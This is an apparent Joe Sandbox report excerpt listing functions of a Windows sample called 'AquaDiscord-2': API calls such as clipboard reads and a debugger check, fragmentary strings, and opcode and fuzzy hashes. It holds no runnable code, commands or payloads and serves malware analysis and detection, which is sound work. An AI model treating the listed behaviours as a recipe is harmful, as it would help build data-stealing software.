CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040C8C5

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: f769ace39f8d5f5b88ab531ad7474c94707e777291cfd92fb59bed67981d25f7
Instruction ID: e574dabc94603bd578d2f3871a0078f3cc67acac507f6305444acc64eb7ceff6
Opcode Fuzzy Hash: f769ace39f8d5f5b88ab531ad7474c94707e777291cfd92fb59bed67981d25f7
Instruction Fuzzy Hash: 1FD0C9383C83907AF6648708EC63F117215A743F21F300224B362FE6D0C9D071018A0D

Function 0043CFF0 Relevance: 1.5, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 0043CFFB

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6ac0fb33b6a0edd37fa05207e1713f508a9d31a568ef396727efb2f7a1cb39bd
Instruction ID: 86fa58a74cb7c37287574853b7c9aa3a2e8b22e14629bd9432e346f094e3d579
Opcode Fuzzy Hash: 6ac0fb33b6a0edd37fa05207e1713f508a9d31a568ef396727efb2f7a1cb39bd
Instruction Fuzzy Hash: 95B09230080120EAE2151F11AD09B053A34AB52342F0240B0B101140B28A309935CA9D

Non-executed Functions

Function 00416E62 Relevance: 29.2, APIs: 4, Strings: 12, Instructions: 1238COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000002,00000000,00000000,?), ref: 004171B5

Strings

\[\e, xrefs: 004176D5
=N0L, xrefs: 00417338
Q, xrefs: 00417272
IwA, xrefs: 00417743
O016, xrefs: 004174A8
VWT, xrefs: 00417348
gfff, xrefs: 00417BD3
}v, xrefs: 00417373, 004173A2
X2c0, xrefs: 00416F18
RJSM, xrefs: 004176CD
ke, xrefs: 004176DD
}v, xrefs: 004170AD

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: =N0L$IwA$O016$Q$RJSM$X2c0$\[\e$gfff$ke$}v$}v$VWT
API String ID: 237503144-2405870987
Opcode ID: 89fd62f29cb1f33de3a33cef1478d890648c6abbe3884c39f794b49a6aa1a58f
Instruction ID: bffa345726b51c76a73c5f0c7d7699edc0ba153f300a5745b581033eb242c47b
Opcode Fuzzy Hash: 89fd62f29cb1f33de3a33cef1478d890648c6abbe3884c39f794b49a6aa1a58f
Instruction Fuzzy Hash: 4C8228729183518BC324CF29C8917ABB7F2FFC5310F19896DE8858B395E7389946C786

Function 00434280 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 134clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00434294
GetClipboardData.USER32 ref: 004342AF
GlobalLock.KERNEL32 ref: 004342CE
GetWindowLongW.USER32 ref: 0043432D
GlobalUnlock.KERNEL32 ref: 0043443B
CloseClipboard.USER32 ref: 00434444

Strings

#, xrefs: 00434348
/, xrefs: 0043435C
", xrefs: 00434357
K, xrefs: 0043433E
%, xrefs: 00434343
u, xrefs: 0043437F
., xrefs: 00434352

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: "$#$%$.$/$K$u
API String ID: 2832541153-3922017006
Opcode ID: e9c7e297a27e903fe21926105776f6d80fae10f0dbce1491966e4cf4d3ebcd9a
Instruction ID: e89ca9f39744d96e7a045b5fcc5e7aecb6bb4e495cea4c0b541668d6ba7f2f1e
Opcode Fuzzy Hash: e9c7e297a27e903fe21926105776f6d80fae10f0dbce1491966e4cf4d3ebcd9a
Instruction Fuzzy Hash: 7B41BC7150C7818FD300AF78988936FBEE1ABE5318F09493EE4C587392D6788549875B

Function 00427050 Relevance: 10.5, Strings: 8, Instructions: 498COMMON

Download Yara Rule

Strings

XQ^@, xrefs: 004275BF
TIIG, xrefs: 004275C7
ryb~, xrefs: 004275DF
U{V_, xrefs: 00427136
D]tS, xrefs: 0042713E
MCO{, xrefs: 00427146
JlxK, xrefs: 0042714E
jhq&, xrefs: 00427156

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: D]tS$JlxK$MCO{$TIIG$U{V_$XQ^@$jhq&$ryb~
API String ID: 0-1178632756
Opcode ID: 9a6ba5a05d67d7f56d871a33e8460bd0c2fb8cbd62bc22434cac8368c37395f6
Instruction ID: 5b75185fb86b45141040d5e9b46c0ac5a7e5f247f01999525b5781695198bb6b
Opcode Fuzzy Hash: 9a6ba5a05d67d7f56d871a33e8460bd0c2fb8cbd62bc22434cac8368c37395f6
Instruction Fuzzy Hash: C3F121B560C391CFC7108F25A88166FBBE1AF9A308F04487EE9C557352D639D806CB5B

Function 00429DF0 Relevance: 9.5, APIs: 2, Strings: 3, Instructions: 705COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001F,00000000,00000000,?), ref: 00429F70
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001F,00000000,?,?), ref: 00429FF6

Strings

`, xrefs: 0042A4B0
B|zB, xrefs: 0042A1D0
FxG~, xrefs: 0042A1AC

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: B|zB$FxG~$`
API String ID: 237503144-3359900383
Opcode ID: 116511bb75e907b219308a623deef6e41a34fd5a468242b785800374cb6d2fce
Instruction ID: bb8dba36a1d0319bbbb76b93e2e15360b571ed9d5291001c4d0d094f21b3f638
Opcode Fuzzy Hash: 116511bb75e907b219308a623deef6e41a34fd5a468242b785800374cb6d2fce
Instruction Fuzzy Hash: 46326876A083508FD3148F29E84166FB7E2BBC9314F598A7DE9C587381DB78D901878A

Function 004096B0 Relevance: 9.1, Strings: 7, Instructions: 385COMMON

Download Yara Rule

Strings

$%, xrefs: 004099F4
sM/O, xrefs: 00409AC0
A0C303809269CACBC82A8148C6E54400, xrefs: 00409768
DE, xrefs: 00409AB3
UW, xrefs: 004099D4
t, xrefs: 00409724
0A;C, xrefs: 00409AAB

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: $%$0A;C$A0C303809269CACBC82A8148C6E54400$DE$sM/O$t$UW
API String ID: 0-3075338575
Opcode ID: 134623a633d13c8131fbc5e93eae74016705f1b4b4ad1ebedeeba70b155dc081
Instruction ID: 1b412a982149fa6f93395a77e29896f7a75e14dc21355640186dd62c3daff885
Opcode Fuzzy Hash: 134623a633d13c8131fbc5e93eae74016705f1b4b4ad1ebedeeba70b155dc081
Instruction Fuzzy Hash: 13C128726083409BD718DF35C8516AFBBE6EBC2304F148A3DE4D59B395DA38C905CB5A

Function 004162D2 Relevance: 9.1, Strings: 7, Instructions: 340COMMON

Download Yara Rule

Strings

Z<, xrefs: 00416567
[v, xrefs: 00416438
2nA, xrefs: 004167F5
}t, xrefs: 0041644E
]G, xrefs: 00416572
Gl, xrefs: 0041657D
Kz, xrefs: 00416443

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: 2nA$Gl$Kz$Z<$[v$]G$}t
API String ID: 0-4142317612
Opcode ID: f9a28699d6b31238ebf079d96b8938e21f7f7c9835c25847d26b9e48ded2a9f9
Instruction ID: db414186b08997a42f23d7f1092f780397a9a9a67ccbe03356ec6bbeb542239d
Opcode Fuzzy Hash: f9a28699d6b31238ebf079d96b8938e21f7f7c9835c25847d26b9e48ded2a9f9
Instruction Fuzzy Hash: 34C175B55193908BD3318F14C4A13EBBBF1EFD6304F09896DD8C94B291DB389946CB86

Function 00423AE0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 239COMMON

Download Yara Rule

Strings

HL, xrefs: 00423B25
@C, xrefs: 00423B1A
_A, xrefs: 00423A10, 00423A49, 00423A92
AE, xrefs: 00423B0F

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: @C$AE$HL$_A
API String ID: 0-4030145219
Opcode ID: 534efaf77f455908aff534492c1509aef461239d46665a5585177bf4a958e2c3
Instruction ID: a80bbf8f79369a0e44c9644778e8ef5235acd6d4d06437ec876c1968ce67e6fb
Opcode Fuzzy Hash: 534efaf77f455908aff534492c1509aef461239d46665a5585177bf4a958e2c3
Instruction Fuzzy Hash: 7C814476A183009FE320CF15EC4179FB6E5FBC5308F04893DF69497291DBB895058B86

Function 00B0B177 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,00000000,?,?,?,00B0AB2D,?,00000000), ref: 00B0B210
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,00000000,?,?,?,00B0AB2D,?,00000000), ref: 00B0B239
GetACP.KERNEL32(?,?,00B0AB2D,?,00000000), ref: 00B0B24E

Strings

OCP, xrefs: 00B0B1CB
ACP, xrefs: 00B0B195

Memory Dump Source

Source File: 00000002.00000002.2909645953.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.2909632146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909666742.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909681954.0000000000B20000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909698006.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909712695.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 22eda6c6ee036254d10580be806a32861953492d35312a3302aed881e8925f5c
Instruction ID: 9be4740bbe89838a8ade5cc2507af315e2fa7421e09d81fe59ed583db882ed99
Opcode Fuzzy Hash: 22eda6c6ee036254d10580be806a32861953492d35312a3302aed881e8925f5c
Instruction Fuzzy Hash: 7221C532B10101A6DB348F65C941FABBFE7EF94B50B5684E4E91AE7294E732DE40C390

Function 00B0A9F7 Relevance: 7.7, APIs: 5, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 00B0590A: GetLastError.KERNEL32(00000000,?,00B07C8D), ref: 00B0590E
Part of subcall function 00B0590A: SetLastError.KERNEL32(00000000,?,?,00000028,00B01F53), ref: 00B059B0

GetUserDefaultLCID.KERNEL32 ref: 00B0AAFF
IsValidCodePage.KERNEL32(00000000), ref: 00B0AB3D
IsValidLocale.KERNEL32(?,00000001), ref: 00B0AB50
GetLocaleInfoW.KERNEL32(?,00001001,?,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 00B0AB98
GetLocaleInfoW.KERNEL32(?,00001002,?,00000040), ref: 00B0ABB3

Memory Dump Source

Source File: 00000002.00000002.2909645953.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.2909632146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909666742.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909681954.0000000000B20000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909698006.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909712695.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 6e2935333555cd2a159e3d4bb38e4f638542d650fb76c167dda44b2cd3f73cc3
Instruction ID: 83143d2b432a810b31b49e5e5705af76173b9d04d444f45ddadaa7b568b08b52
Opcode Fuzzy Hash: 6e2935333555cd2a159e3d4bb38e4f638542d650fb76c167dda44b2cd3f73cc3
Instruction Fuzzy Hash: E3514F71A00719ABDB20DFA4CC85AAE7BF9FF04700F5449A5E911EB1D0EB70DA40CB62

Function 004237C0 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 300COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000), ref: 00423900
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,998682E1), ref: 004239C0

Strings

QS, xrefs: 004237D2
_A, xrefs: 00423A10, 00423A49, 00423A92

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: _A$QS
API String ID: 237503144-425339690
Opcode ID: 4762ee07f7709c5bcd6f4bf0c8ec826581c1f83c059e326cb24f1ab0a6b071cb
Instruction ID: ff13ee4a08f2bc40c02b98611d89e7d10dbb1fafe05ff50cca4a939355d2c245
Opcode Fuzzy Hash: 4762ee07f7709c5bcd6f4bf0c8ec826581c1f83c059e326cb24f1ab0a6b071cb
Instruction Fuzzy Hash: 50A1F0B66183109BE310CF25EC8171BBBE1FBC6318F048A3DF9949B391D7B599058B86

Function 00420130 Relevance: 6.8, Strings: 5, Instructions: 500COMMON

Download Yara Rule

Strings

74, xrefs: 004204E0
Kq, xrefs: 004202DA
D:, xrefs: 004204F4
Bt, xrefs: 004202D2
WD, xrefs: 004202E2

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: 74$Bt$Kq$WD$D:
API String ID: 0-3575891768
Opcode ID: 8b69e38a951d46793538621483d2774adb47c41ab40b947929baeac8a2f04a7c
Instruction ID: f5160d97b9eac11fab9500262d1b66c28d53c3fa8702a8ff15d64c5c26f1ec96
Opcode Fuzzy Hash: 8b69e38a951d46793538621483d2774adb47c41ab40b947929baeac8a2f04a7c
Instruction Fuzzy Hash: D8E14676A183218BD728CF25C85136BB7E2FFD5314F08892DD9C28B385E7789805CB96

Function 0042CC46 Relevance: 6.5, Strings: 5, Instructions: 211COMMON

Download Yara Rule

Strings

x~ly, xrefs: 0042CD5B
/, xrefs: 0042CC7D
1,, xrefs: 0042CD63
-!A, xrefs: 0042CD80
WQ%M, xrefs: 0042CD53

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: -!A$/$1,$WQ%M$x~ly
API String ID: 0-1076345736
Opcode ID: df7137c20f6d98db71fd7f9cd5ab8673dccb301e0d52dc62b0ac4a7c1e4ba469
Instruction ID: c81af30fa47a614f92e316ab3865125c2c0ebe1d49a083b5cf17de503e1f0e37
Opcode Fuzzy Hash: df7137c20f6d98db71fd7f9cd5ab8673dccb301e0d52dc62b0ac4a7c1e4ba469
Instruction Fuzzy Hash: BE512B7160C3E18BD3058B2A94A037BFFE19FE7701F68845EE5D15B382D67988058BA7

Function 0042CE63 Relevance: 6.5, Strings: 5, Instructions: 209COMMON

Download Yara Rule

Strings

1,, xrefs: 0042CF83
-!A, xrefs: 0042CFA0
/, xrefs: 0042CE9A
x~ly, xrefs: 0042CF7B
WQ%M, xrefs: 0042CF73

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: -!A$/$1,$WQ%M$x~ly
API String ID: 0-1076345736
Opcode ID: ef50efb5b4acaef2404ef908d4d049a33927374b76c53d0c1120b1c30fb30d09
Instruction ID: 6becc890d84fb257d89dfee27970379ddd0fc9186fd5d0e68907015a65abed32
Opcode Fuzzy Hash: ef50efb5b4acaef2404ef908d4d049a33927374b76c53d0c1120b1c30fb30d09
Instruction Fuzzy Hash: ED512B70A0C3E18BD3158B2A94A037BFFD19FE7701F68845EE5D157381D67988058BA7

Function 00B03400 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2909645953.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.2909632146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909666742.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909681954.0000000000B20000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909698006.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909712695.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bda445c65ae4a74fe40377494680e1620293ac17931db5f8abb93f471be9a26
Instruction ID: 6087d36c37d27f03c201a8a8b1e2bab508dc7e2ce5e9f1ff9b03f7f92d281836
Opcode Fuzzy Hash: 5bda445c65ae4a74fe40377494680e1620293ac17931db5f8abb93f471be9a26
Instruction Fuzzy Hash: A5023DB1E002199BDF14CFA9C9846AEFBF5FF48714F2482A9E515E7381D731AE418B90

Function 00AF9A33 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00AF9A3F
IsDebuggerPresent.KERNEL32 ref: 00AF9B0B
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00AF9B24
UnhandledExceptionFilter.KERNEL32(?), ref: 00AF9B2E

Memory Dump Source

Source File: 00000002.00000002.2909645953.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.2909632146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909666742.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909681954.0000000000B20000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909698006.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2909712695.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 68770f67e1a25991ae53548a248ada90603b5893a7adf4af25b4f61875610166
Instruction ID: ac04cb186d8af9a04d519f059d8451eae93b52ede320bffc0c5f485912c4bca3
Opcode Fuzzy Hash: 68770f67e1a25991ae53548a248ada90603b5893a7adf4af25b4f61875610166
Instruction Fuzzy Hash: 77312875D0521C9BDF61EFA4D9897CDBBB8AF08300F1041AAE50CAB250EB719A848F45

Function 0042C63D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 196COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 0042C78F

Strings

_`, xrefs: 0042C7A8
vm#b, xrefs: 0042C7A0

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: FreeLibrary
String ID: _`$vm#b
API String ID: 3664257935-1728712856
Opcode ID: e53f08ddf99994442553c084195a65b1456403216c45deaff13bb5ab18a3460d
Instruction ID: c3b53cb5a17e9d19d5249ff015162dbf28cf73674390ba62343818fa9bc44c10
Opcode Fuzzy Hash: e53f08ddf99994442553c084195a65b1456403216c45deaff13bb5ab18a3460d
Instruction Fuzzy Hash: 325114716483829FD3158F25D89176BBFE1AFD2310F18992DE1D68B281DB7888058B57

Function 0041AA81 Relevance: 4.2, Strings: 3, Instructions: 488COMMON

Download Yara Rule

Strings

07Y, xrefs: 0041ACAB
0, xrefs: 0041AEA4
gfff, xrefs: 0041AAB4

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: 0$07Y$gfff
API String ID: 0-3731902943
Opcode ID: 9a038d0fdd0153f5bf756e2ced00d44fafd22744d4e1503639a27f9596a22375
Instruction ID: 26db738034a22c520161b30420a9933d2acc67b269f448894966435822cf2757
Opcode Fuzzy Hash: 9a038d0fdd0153f5bf756e2ced00d44fafd22744d4e1503639a27f9596a22375
Instruction Fuzzy Hash: DAC14A3060A3418BC7258F28C4912A7BBF2EFD6320F18855EE5D18B391E33D9855C75B

Function 00421600 Relevance: 4.1, Strings: 3, Instructions: 326COMMON

Download Yara Rule

Strings

>0, xrefs: 0042163F
x, xrefs: 0042164F
9, xrefs: 00421637

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: 9$>0$x
API String ID: 0-1232632554
Opcode ID: 3e016b760f0ba3c9620baf6b90ad7076c84c82c3e05c1fa2d5428d8f1798b52d
Instruction ID: a15ceac8e34a6d6ead5daf2351f5c682b3a1cfda95a6a2be99d7c9f15c15af21
Opcode Fuzzy Hash: 3e016b760f0ba3c9620baf6b90ad7076c84c82c3e05c1fa2d5428d8f1798b52d
Instruction Fuzzy Hash: 249123B5A043219BD7209F24DC82B67B3B0EFD5354F08852EF9899B391E778E801C75A

Function 00417FBC Relevance: 4.1, Strings: 3, Instructions: 325COMMON

Download Yara Rule

Strings

D, xrefs: 0041838B
fY, xrefs: 00418184
[_, xrefs: 0041817C

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: D$[_$fY
API String ID: 0-733380153
Opcode ID: 51856e5099c74df1fc07e65b7bda08bc62192bdcf520bf499ebd3990fdc9bd96
Instruction ID: e600800951c0d246200edf198352cbf1854996a72d2edab27a39a4e0f7ee8b1f
Opcode Fuzzy Hash: 51856e5099c74df1fc07e65b7bda08bc62192bdcf520bf499ebd3990fdc9bd96
Instruction Fuzzy Hash: 4AA19BB1118340CBD3288F24C8A1BABBBF1FF86354F09595DE4865F3A1E7798845CB5A

Function 00413D50 Relevance: 3.6, Strings: 2, Instructions: 1117COMMON

Download Yara Rule

Strings

RAA, xrefs: 00414146
D]+\, xrefs: 00414440

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: D]+\$RAA
API String ID: 0-2997780931
Opcode ID: 34c27bd9d1288e6d173f317dd7ee89ea1b07e6df424be4839f1b6e0f8a31b356
Instruction ID: 65781ec4038b74b51e0c428162170844e7c8db529c6f3fe48934e8f45840f545
Opcode Fuzzy Hash: 34c27bd9d1288e6d173f317dd7ee89ea1b07e6df424be4839f1b6e0f8a31b356
Instruction Fuzzy Hash: 0D527679608301DBD7189F19EC41BBB73E2EBC6315F05483EE88597282E7389D42C78A

Function 00408FE0 Relevance: 2.8, Strings: 2, Instructions: 286COMMON

Download Yara Rule

Strings

79, xrefs: 00408FFD
AY[g, xrefs: 00409053

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: 79$AY[g
API String ID: 0-767607040
Opcode ID: 75940066473ea754df7debfb61beb5f349bdf3c574ea88399dab23c11acdc1af
Instruction ID: 2378d829f951076b51066a7ac086adcacedc0a2d49c7517852f85ee3cb7ca400
Opcode Fuzzy Hash: 75940066473ea754df7debfb61beb5f349bdf3c574ea88399dab23c11acdc1af
Instruction Fuzzy Hash: 188118616483819FD315CF2984907ABBFE1AFD7301F0889ADE4D58B382D23D890EC756

Function 0042BC0F Relevance: 2.7, Strings: 2, Instructions: 171COMMON

Download Yara Rule

Strings

NEzL, xrefs: 0042BCA9
HTJ@, xrefs: 0042BD54

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: HTJ@$NEzL
API String ID: 0-778903024
Opcode ID: cdb93f8508b33442bc4b86824c012b887ad7add5c49574bd6d2b58a9ae40dab9
Instruction ID: f250adcc034ca2d69ec01274816afd61d580dd097cb6860af304507c585650cb
Opcode Fuzzy Hash: cdb93f8508b33442bc4b86824c012b887ad7add5c49574bd6d2b58a9ae40dab9
Instruction Fuzzy Hash: 4F41232460D7E18ADB328B3994A43F7BBE19F97314F9809ADC4CD9B343CB3904068796

